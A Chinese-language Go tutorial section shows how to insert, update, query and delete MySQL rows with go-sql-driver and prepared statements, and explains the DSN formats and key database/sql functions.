import (
_ "github.com/go-sql-driver/mysql"
"database/sql"
"fmt"
//"time"
)
func main() {
db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")
checkErr(err)
//插入数据
stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
checkErr(err)
res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
checkErr(err)
id, err := res.LastInsertId()
checkErr(err)
fmt.Println(id)
//更新数据
stmt, err = db.Prepare("update userinfo set username=? where uid=?")
checkErr(err)
res, err = stmt.Exec("astaxieupdate", id)
checkErr(err)
affect, err := res.RowsAffected()
checkErr(err)
fmt.Println(affect)
//查询数据
rows, err := db.Query("SELECT * FROM userinfo")
checkErr(err)
for rows.Next() {
var uid int
var username string
var department string
var created string
err = rows.Scan(&uid, &username, &department, &created)
checkErr(err)
fmt.Println(uid)
fmt.Println(username)
fmt.Println(department)
fmt.Println(created)
}
//删除数据
stmt, err = db.Prepare("delete from userinfo where uid=?")
checkErr(err)
res, err = stmt.Exec(id)
checkErr(err)
affect, err = res.RowsAffected()
checkErr(err)
fmt.Println(affect)
db.Close()
}
func checkErr(err error) {
if err != nil {
panic(err)
}
}
通过上面的代码我们可以看出Go操作Mysql数据库是很方便的。
关键的几个函数我解释一下:
sql.Open()函数用来打开一个注册过的数据库驱动go-sql-driver中注册了mysql这个数据库驱动第二个参数是DSN(Data Source Name)它是go-sql-driver定义的一些数据库链接和配置信息。它支持如下格式
user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
db.Prepare()函数用来返回准备要执行的sql操作然后返回准备完毕的执行状态。
db.Query()函数用来直接执行Sql返回Rows结果。
stmt.Exec()函数用来执行stmt准备好的SQL语句
我们可以看到我们传入的参数都是=?对应的数据这样做的方式可以一定程度上防止SQL注入。
## links
* [目录](<preface.md>)
* 上一节: [database/sql接口](<05.1.md>)
* 下一节: [使用SQLite数据库](<05.3.md>)

Some files were not shown because too many files have changed in this diff Show More